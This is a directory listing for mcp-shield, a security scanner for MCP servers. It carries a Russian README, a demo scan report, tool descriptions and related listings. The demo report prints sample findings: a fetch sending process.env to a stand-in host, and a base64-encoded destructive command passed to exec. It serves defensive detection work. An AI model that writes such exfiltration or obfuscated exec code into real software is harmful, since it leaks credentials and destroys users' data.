mcp-shield
mcp-shield
Сканер безопасности для MCP-серверов — обнаруживайте бэкдоры, эксфильтрацию данных, инъекции промптов и риски цепочки поставок до того, как они достигнут вашего ИИ.
Экосистема MCP быстро растет. Не каждый сервер в npm безопасен. mcp-shield позволяет Claude проверять любой MCP-сервер — локальный или из npm — прежде чем вы доверите ему свои файлы, ключи и контекст.
Что он обнаруживает
Категория | Примеры |
Эксфильтрация |
|
Выполнение кода |
|
Обфускация | Декодирование Base64 во время выполнения, hex-кодированные полезные нагрузки, массивы char-code |
Доступ к конфиденциальным файлам |
|
Инъекция промптов | Скрытые инструкции, символы нулевой ширины, атаки со сменой ролей, паттерны джейлбрейка |
Цепочка поставок | Возраст пакета, количество скачиваний, количество сопровождающих, CVE в зависимостях |
Related MCP server: mcpwatch
Демо
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)Инструменты
Инструмент | Что он делает |
| Скачивает npm MCP-пакет и сканирует его на наличие вредоносных паттернов |
| Сканирует локальную директорию MCP-сервера (клонированную из GitHub и т.д.) |
| Проверяет описания инструментов или ответы на наличие скрытых инъекций |
| Получает оценку доверия, CVE, количество сопровождающих и возраст для любого npm-пакета |
Установка
Вариант 1 — npx (без установки)
claude mcp add mcp-shield -- npx mcp-shieldВариант 2 — глобальная установка
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shieldВариант 3 — ручная настройка
Добавьте в ~/.claude/claude_mcp_config.json:
{
"mcpServers": {
"mcp-shield": {
"command": "npx",
"args": ["mcp-shield"]
}
}
}Примеры использования
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"Как это работает
Статический анализ — сканирует исходные файлы JavaScript/TypeScript с помощью библиотеки регулярных выражений, охватывающей более 20 сигнатур атак в 5 категориях.
Аудит цепочки поставок — запрашивает метаданные пакета в реестре npm, а затем запускает npm audit для выявления известных CVE в дереве зависимостей.
Обнаружение инъекций промптов — проверяет описания инструментов и ответы на наличие символов нулевой ширины, переопределений инструкций, атак со сменой ролей и других методов, нацеленных на LLM.
Установка --ignore-scripts — при сканировании npm-пакетов установка выполняется с флагом --ignore-scripts, чтобы во время анализа не запускались вредоносные postinstall-хуки.
Участие в разработке
PR приветствуются. Паттерны обнаружения находятся в src/patterns.ts — добавление новых сигнатур сводится к добавлению одного объекта.
git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run devЛицензия
MIT
Available Tools
4 toolsaudit_supply_chainB
Audit an npm package's supply chain health: publish date, weekly downloads, maintainer count, dependency count, and known CVEs. Returns a trust score from 0-100.
Inputs: package_name (required), version.
check_prompt_injectionA
Scan text (tool descriptions, tool responses, MCP server manifest content) for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides.
Inputs: text (required), label.
scan_directoryA
Scan a local MCP server directory for backdoors, exfiltration code, obfuscation, and dangerous patterns. Use this for MCP servers installed locally or cloned from GitHub.
Inputs: path (required).
scan_packageA
Download an npm MCP server package and scan it for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks. Returns a full security report with severity ratings.
Inputs: package_name (required), version.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 4 tools
Each tool has a clearly distinct purpose with no overlap: audit_supply_chain focuses on npm package health metrics, check_prompt_injection analyzes text for injection attacks, scan_directory examines local MCP server files, and scan_package downloads and analyzes npm packages. The four tools cover different security aspects without ambiguity.
All tool names follow a consistent verb_noun pattern using snake_case: audit_supply_chain, check_prompt_injection, scan_directory, and scan_package. The naming is predictable and readable throughout the set.
With 4 tools, this server is well-scoped for its security-focused purpose. Each tool earns its place by covering distinct security domains (supply chain auditing, prompt injection detection, local scanning, and package scanning), avoiding bloat while providing comprehensive coverage.
The tool set provides complete coverage for MCP server security assessment: it handles both local and remote sources (directories and npm packages), includes both static analysis (scanning) and dynamic checks (prompt injection), and covers supply chain risks. No obvious gaps exist for this domain.
Maintenance
Related MCP Connectors
Audit your MCP servers for poisoned tools and leaked secrets, and check AI-generated code for flaws.
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Scan any MCP server for tool-poisoning, security, auth & license. Trust score before install.
Check before your agent installs, connects or pays. install_check: before installing an npm or PyPI package, a GitHub repo, a skill, an editor extension or an MCP server, it answers allow / hold / block (known malicious packages from OSV, typosquats of official MCP servers, names that do not exist, install scripts, maintainer changes). check_repo_config: before opening a repository someone sent you, it reads its agent configuration (MCP servers, hooks, editor tasks, instruction files) and runs nothing. check_service and verify_tools: live status of any MCP server or x402 endpoint, real price and payTo vs the catalogue listing, OFAC and stablecoin-freeze screening, tool-set changes, an open Trust Score. find_service finds working services. preflight_payment decides allow / hold / block right before an x402 payment is signed; payment_status prevents paying twice; report_purchase records what a paid call delivered. Verdicts are signed into a public transparency log. Free, no account. Every other tool (evidence packs, agent identities, boards, mail) is at https://alalanet.com/mcp/full; install and MCP-server checks alone are at https://alalanet.com/mcp/guard. Claude Code plugin: alalanet-guard.
Related MCP Servers
- AlicenseAqualityDmaintenanceDiagnose, secure, and benchmark your MCP servers. Zero-config CLI for Claude Code, Cursor, VS Code, and Windsurf.48 npm3MIT
- AlicenseNot gradedqualityDmaintenanceMCP server that audits other MCP servers. Run MCPWatch security scans from inside Claude Code or any MCP-compatible agent with 10 OWASP MCP Top 10 aligned checks and A-F letter grades.MIT
- AlicenseNot gradedqualityCmaintenanceDiagnose MCP servers — health checks, tool testing, token cost audits, conflict detection, and security scanning with 50+ prompt injection patterns. Works as CLI or MCP server inside Claude Desktop.1MIT
- AlicenseAqualityBmaintenanceSecurity for the MCP servers you use: detects tool poisoning, rug pulls, shadowing, secrets and supply-chain risk (OWASP MCP Top 10), with runtime guards and approved-server policy. Runs locally.17104 npmMIT